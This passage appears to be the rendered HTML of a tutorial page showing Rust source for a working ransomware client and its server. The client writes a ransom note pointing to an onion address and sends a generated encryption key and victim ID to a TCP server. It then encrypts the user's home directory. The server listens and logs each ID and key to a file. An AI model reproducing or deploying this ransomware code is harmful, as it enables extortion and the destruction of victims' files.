style="color:#75715e">// available to the user. 325 </span><span style="color:#75715e"></span><span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">create_note_file</span>(id: <span style="color:#66d9ef">&</span><span style="color:#66d9ef">str</span>) { 326 <span style="color:#66d9ef">let</span> note_path <span style="color:#f92672">=</span> dirs::desktop_dir().unwrap().join(RANSOM_NOTE_FILENAME); 327 <span style="color:#66d9ef">let</span> note <span style="color:#f92672">=</span> format<span style="color:#f92672">!</span>( 328 <span style="color:#e6db74">r#"Your files has been encrypted. 329 </span><span style="color:#e6db74">Go to XXXXX.onion and provide your ID to get instructions. 330 </span><span style="color:#e6db74">------------------------------------------------ 331 </span><span style="color:#e6db74">ID: {} 332 </span><span style="color:#e6db74">"#</span>, 333 id 334 ); 335 fs::write(note_path, note.as_bytes()).unwrap(); 336 } 337 338 <span style="color:#75715e">// Send credentials (id & key) to our server. 339 </span><span style="color:#75715e"></span><span style="color:#75715e">// Encryption will not start until we have this information stored. 340 </span><span style="color:#75715e"></span><span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">send_credentials</span>(id: <span style="color:#66d9ef">&</span><span style="color:#66d9ef">str</span>, key: <span style="color:#66d9ef">&</span><span style="color:#66d9ef">str</span>) { 341 <span style="color:#66d9ef">loop</span> { 342 <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">let</span> Ok(<span style="color:#66d9ef">mut</span> tcp_stream) <span style="color:#f92672">=</span> TcpStream::connect(format<span style="color:#f92672">!</span>(<span style="color:#e6db74">"{}:{}"</span>, HOST, PORT)) { 343 <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">let</span> Ok(_) <span style="color:#f92672">=</span> tcp_stream.write(format<span style="color:#f92672">!</span>(<span style="color:#e6db74">"{}{}"</span>, key, id).as_bytes()) { 344 <span style="color:#66d9ef">return</span>; 345 } 346 } 347 thread::sleep(time::Duration::from_secs(<span style="color:#ae81ff">1</span>)); 348 } 349 } 350 351 <span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">main</span>() { 352 <span style="color:#66d9ef">let</span> args: Vec<span style="color:#f92672"><</span>String<span style="color:#f92672">></span> <span style="color:#f92672">=</span> env::args().collect(); 353 <span style="color:#66d9ef">let</span> path <span style="color:#f92672">=</span> dirs::home_dir().unwrap(); 354 <span style="color:#66d9ef">if</span> args.len() <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">&</span><span style="color:#f92672">&</span> args[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">"encrypt"</span> { 355 <span style="color:#75715e">// Generate encryption key and id 356 </span><span style="color:#75715e"></span> <span style="color:#66d9ef">let</span> random_bytes: Vec<span style="color:#f92672"><</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">></span> <span style="color:#f92672">=</span> (<span style="color:#ae81ff">0</span>..<span style="color:#ae81ff">24</span>).map(<span style="color:#f92672">|</span>_<span style="color:#f92672">|</span> rand::random::<span style="color:#f92672"><</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">></span>()).collect(); 357 <span style="color:#66d9ef">let</span> key <span style="color:#f92672">=</span> base64::encode(random_bytes); 358 <span style="color:#66d9ef">let</span> random_bytes: Vec<span style="color:#f92672"><</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">></span> <span style="color:#f92672">=</span> (<span style="color:#ae81ff">0</span>..<span style="color:#ae81ff">32</span>).map(<span style="color:#f92672">|</span>_<span style="color:#f92672">|</span> rand::random::<span style="color:#f92672"><</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">></span>()).collect(); 359 <span style="color:#66d9ef">let</span> id <span style="color:#f92672">=</span> base64::encode(random_bytes); 360 361 <span style="color:#75715e">// Send credentials to our server 362 </span><span style="color:#75715e"></span> send_credentials(id.as_str(), key.as_str()); 363 364 <span style="color:#75715e">// Create ransom note 365 </span><span style="color:#75715e"></span> create_note_file(id.as_str()); 366 367 <span style="color:#75715e">// Encrypt files on disk 368 </span><span style="color:#75715e"></span> encrypt_files(path, key.as_str()); 369 } <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> args.len() <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">&</span><span style="color:#f92672">&</span> args[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">"decrypt"</span> { 370 <span style="color:#66d9ef">let</span> decryption_key <span style="color:#f92672">=</span> args[<span style="color:#ae81ff">2</span>].as_str(); 371 decrypt_files(path, decryption_key); 372 } <span style="color:#66d9ef">else</span> { 373 println<span style="color:#f92672">!</span>(<span style="color:#e6db74">"no flags provided"</span>); 374 } 375 } 376 377 </pre></td></tr></table> 378 </div> 379 <!-- Code end --> 380 381 <h4 class="mt-5 mb-3">server/main.rs</h4> 382 383 <!-- Code begin --> 384 <div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"> 385 <table style="border-spacing:0;padding:0;margin:0;border:0;width:auto;overflow:auto;display:block;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> 386 <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 387 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 388 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 389 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 390 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 391 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 392 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 393 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 394 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 395 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 396 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 397 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 398 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 399 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 400 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 401 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 402 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 403 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 404 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 405 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 406 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 407 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 408 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 409 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 410 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25 411 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26 412 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27 413 </span></pre></td> 414 <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> 415 <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><span style="color:#66d9ef">use</span> std::fs::OpenOptions; 416 <span style="color:#66d9ef">use</span> std::io::Write; 417 <span style="color:#66d9ef">use</span> std::{io::Read, net::TcpListener}; 418 419 <span style="color:#66d9ef">static</span> HOST: <span style="color:#66d9ef">&</span><span style="color:#66d9ef">str</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">"127.0.0.1"</span>; 420 <span style="color:#66d9ef">static</span> PORT: <span style="color:#66d9ef">usize</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">8080</span>; 421 422 <span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">main</span>() { 423 <span style="color:#75715e">// We will store id & key in a file 424 </span><span style="color:#75715e"></span> <span style="color:#66d9ef">let</span> <span style="color:#66d9ef">mut</span> file <span style="color:#f92672">=</span> OpenOptions::new() 425 .write(<span style="color:#66d9ef">true</span>) 426 .append(<span style="color:#66d9ef">true</span>) 427 .create(<span style="color:#66d9ef">true</span>) 428 .open(<span style="color:#e6db74">"ids.txt"</span>) 429 .unwrap(); 430 431 <span style="color:#75715e">// Start listening for incomming connections 432 </span><span style="color:#75715e"></span> <span style="color:#66d9ef">let</span> listener <span style="color:#f92672">=</span> TcpListener::bind(format<span style="color:#f92672">!</span>(<span style="color:#e6db74">"{}:{}"</span>, HOST, PORT)).unwrap(); 433 <span style="color:#66d9ef">for</span> stream <span style="color:#66d9ef">in</span> listener.incoming() { 434 <span style="color:#66d9ef">let</span> <span style="color:#66d9ef">mut</span> line <span style="color:#f92672">=</span> String::with_capacity(<span style="color:#ae81ff">76</span>); 435 stream.unwrap().read_to_string(<span style="color:#f92672">&</span><span style="color:#66d9ef">mut</span> line).unwrap(); 436 <span style="color:#66d9ef">let</span> key <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>line[<span style="color:#ae81ff">0</span>..<span style="color:#ae81ff">32</span>]; 437 <span style="color:#66d9ef">let</span> id <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>line[<span style="color:#ae81ff">32</span>..]; 438 file.write(format<span style="color:#f92672">!</span>(<span style="color:#e6db74">"{} {}\n"</span>, id, key).as_bytes()).unwrap(); 439 } 440 } 441 442 </pre></td></tr></table> 443 </div> 444 <!-- Code end --> 445 446 {{ end }}